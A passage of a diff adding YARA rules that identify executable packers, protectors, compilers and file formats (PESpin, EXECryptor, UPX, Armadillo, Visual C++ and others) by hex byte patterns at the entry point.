+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V041__cyberbob__20080312_
+{
+	meta:
+		description = "PESpin V0.41 -> cyberbob * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 02 D2 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 ?? ?? ?? ?? ?? 53 8F ?? ?? ?? ?? ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 ?? 68 3C 01 00 00 59 8D ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 ?? ?? ?? ?? 59 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 ?? E8 1A 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_V21X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> softcomplete.com"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+		$1 = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+		$2 = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+		$3 = {83 EC 04 89 14 24 59 BA ?? 00 00 00 52 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$4 = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 or $4 at entrypoint
+}
+rule _Obsidium_V1258V133X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+		$1 = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _OLE2_Document_WinWord_Excel__
+{
+	meta:
+		description = "OLE2 Document (WinWord, Excel ...)"
+	strings:
+		$0 = {D0 CF 11 E0 A1 B1 1A E1}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v8x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v8.x module"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_152__164_EXE_
+{
+	meta:
+		description = "XPack 1.52 - 1.64 [EXE]"
+	strings:
+		$0 = {8B EC FA 33 C0 8E D0 BC 10 00 2E 8F 06 CD 03 2E 8F 06 D2 03 EB 01 9A 0E BB C2 03 53 5F EB 01 9A 17 8B E5 FB 48 D1 E8 EB 01 9A CE 9A 9C EB 01 9A 59 80 CD 01 51 9D EB 01 9A 1E 33 DB 8E DB C7 47 10 00 00 C7 47 12 00 00 0E 1F 8B EC EB 01 9A FA}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09781_
+{
+	meta:
+		description = "PECompact v0.978.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinRAR_SFX_
+{
+	meta:
+		description = "WinRAR SFX"
+	strings:
+		$0 = {E8 E3 FE FF FF 33 C0 50 50 50 50 E8 BE 2B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Scrypt_12_
+{
+	meta:
+		description = "Scrypt 1.2"
+	strings:
+		$0 = {BB 00 FE 00 1F 4B EB FB 26 46 FD CE 7E 0C CE 0A D5 D0 97 3B D2 89 EF 50 C0 B3 84 4E 8E CD CA 9D 63 B0 FE C3 5D 9C A3 98 A6 F0 8E 23 BA 71 D7 7E BC B5 B4 06 B2 3F 72 3B 76 D3 4F B1 AA CF 4B B5 A6 CB 6B A9 A6 A1 79 A0 C4 64 A2 A7 9A C6 99 52}
+	condition:
+		$0 at entrypoint
+}
+rule _iLUCRYPT_v4018_EXE_
+{
+	meta:
+		description = "iLUCRYPT v4.018 [EXE]"
+	strings:
+		$0 = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_V80_
+{
+	meta:
+		description = "Microsoft Visual C++ V8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_1X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+		$1 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+		$2 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Private_exe_Protector_V230V24X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V2.30-V2.4X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _A3E_TXT2COM_
+{
+	meta:
+		description = "A3E (TXT2COM)"
+	strings:
+		$0 = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _NME_11_Public__by_redlime_
+{
+	meta:
+		description = "NME 1.1 Public - by redlime"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _KByS_Packer_v028_
+{
+	meta:
+		description = "KByS Packer v0.28"
+	strings:
+		$0 = {68 ?? ?? ?? 00 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_V15_FEUERRADER_
+{
+	meta:
+		description = "PUNiSHER V1.5-> FEUERRADER"
+	strings:
+		$0 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+		$1 = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _SimplePack_V11XV12X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X-V1.2X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_V20__risco_
+{
+	meta:
+		description = "ACProtect V2.0 -> risco"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+		$1 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EPack_V14_lite_final__6aHguT_
+{
+	meta:
+		description = "!EPack V1.4 lite final -> 6aHguT"
+	strings:
+		$0 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+		$1 = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v160__v165_
+{
+	meta:
+		description = "PECompact v1.60 - v1.65"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v180_
+{
+	meta:
+		description = "Armadillo v1.80"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BJFnt_v12_RC_
+{
+	meta:
+		description = ".BJFnt v1.2 RC"
+	strings:
+		$0 = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+		$1 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEncrypt_20__junkcode_
+{
+	meta:
+		description = "PEncrypt 2.0 -> junkcode"
+	strings:
+		$0 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+		$1 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85 23 10 40 00 50 6A 04 51 56 FF 95 10 10 40 00 5E 59 C6 06 00 46 E2 FA E9 AE 00 00 00 55 E8 00 00 00 00 5D 81 ED 77 10 40 00 8B D6 80 3E 00 74 03 46 EB F8 46 2B F2 8B CE 33 C0 66 89 85 06 10 40 00 8B B5 02 10 40 00 83 C6 3C 66 AD 03 85 02 10 40 00 8B 70 78 03 B5 02 10 40 00 83 C6 1C AD 03 85 02 10 40 00 89 85 08 10 40 00 AD 03 85 02 10 40 00 50 AD 03 85 02 10 40 00 89 85 0C 10 40 00 5E 56 AD 03 85 02 10 40 00 8B F0 8B FA 51 FC F3 A6 59 74 0D 5E 83 C6 04 66 FF 85 06 10 40 00 EB E0 5E 0F B7 85 06 10 40 00 D1 E0}
+		$2 = {EB 25 00 00 F7 BF 00 00 00 00 00 00 00 00 00 00 12 00 E8 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 00 00 E8 00 00 00 00 5D 81 ED 2C 10 40 00 8D B5 14 10 40 00 E8 33 00 00 00 89 85 10 10 40 00 BF 00 00 40 00 8B F7 03 7F 3C 8B 4F 54 51 56 8D 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_090__101_EXE_
+{
+	meta:
+		description = "UPX 0.90 - 1.01 [EXE]"
+	strings:
+		$0 = {B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8C C8 05 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 12 10 73 E7 92 AF AD 0E 0E 0E 06 1F 07 16 BD 00 00 BB 00 80 55 CB 55 50 58 21 0B 03 03 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V036__Dwing_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing"
+	strings:
+		$0 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+		$1 = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 FF 76 08 FF 76 0C BE 1C 01}
+		$2 = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MASM32_
+{
+	meta:
+		description = "MASM32"
+	strings:
+		$0 = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+		$1 = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_30__
+{
+	meta:
+		description = "Borland Delphi 3.0 (???)"
+	strings:
+		$0 = {55 8B EC 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_60_Debug_Version_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)"
+	strings:
+		$0 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90}
+		$1 = {55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Scodl_Graphics_format_
+{
+	meta:
+		description = "Scodl Graphics format"
+	strings:
+		$0 = {E0 01 ?? 00 ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS4GW_Extender_by_Tenberry_Software_
+{
+	meta:
+		description = "DOS/4GW Extender by Tenberry Software"
+	strings:
+		$0 = {BF 00 00 8E D7 81 C4 0E 12 BE BD 01 2B F7 8B C6 B1 04 D3 E0 48 36 A3 E6 0C 36 89 26 DC 0C BE 23 0F 46 89 36 02 00 8C C3 2B DE F7 DB B4 4A CD 21 36 8C 1E EC 0C 16 07 FC BF 86 11 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MEW_11_SE_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MEW 11 SE 1.0"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V1451__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.1 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B 48 18 89 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 16 A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 48 14 89 4D ?? E9 ?? ?? ?? ?? C7 05}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NET_executable__Microsoft_
+{
+	meta:
+		description = ".NET executable -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+		$1 = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_098_f_m_COM_
+{
+	meta:
+		description = "aPack 0.98 -f -m [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 A4 FF D5 73 FB FF D5 41 73 12 FF D5 BB 10 00 72 24 FF D5 12 DB 73 FA 75 00 93 EB 00 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF 03 72 00 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PE_Crypt_102__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PE Crypt 1.02) -> emadicius"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _JDProtectV20081208demo_DLL____20090119_
+{
+	meta:
+		description = "JDProtect.V20081208.demo DLL -> ÌìÀÖÈí¼þ¿Æ¼¼ * 20090119"
+	strings:
+		$0 = {8B 44 24 08 83 F8 01 75 1F E8 92 FE FF FF E8 3D 01 00 00 8B 44 24 0C 8B 4C 24 04 50 6A 01 51 E8 5C 57 00 00 83 C4 0C C3 85 C0 75 1E 8B 54 24 0C 52 50 8B 44 24 0C 50 E8 44 57 00 00 83 C4 0C E8 7C 46 00 00 B8 01 00 00 00 C3 8B 4C 24 0C 8B 54 24 04 51 50 52 E8 26 57 00 00 83 C4 0C C3 90 90 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_UltraPro_Dongle_V110__SafeNet_Inc_
+{
+	meta:
+		description = "Sentinel UltraPro Dongle V1.1.0 -> SafeNet Inc."
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 59 06 00 00 55 56 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE ?? ?? ?? 0D 01 ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 BD 0F 00 00 83 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypWrap_vxx_
+{
+	meta:
+		description = "CrypWrap vx.x"
+	strings:
+		$0 = {E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+		$1 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NET_SmartAssemby_Obfuscator_60_chars_sign_ASL_
+{
+	meta:
+		description = ".NET SmartAssemby Obfuscator 6.0 (chars) sign ASL"
+	strings:
+		$0 = {50 6F 77 65 72 65 64 20 62 79 20 53 6D 61 72 74 41 73 73 65 6D 62 6C 79 20 36}
+	condition:
+		$0 at entrypoint
+}
+rule _nSPack_2x3x_NET_North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x/3.x .NET-> North Star/Liu Xing Ping"
+	strings:
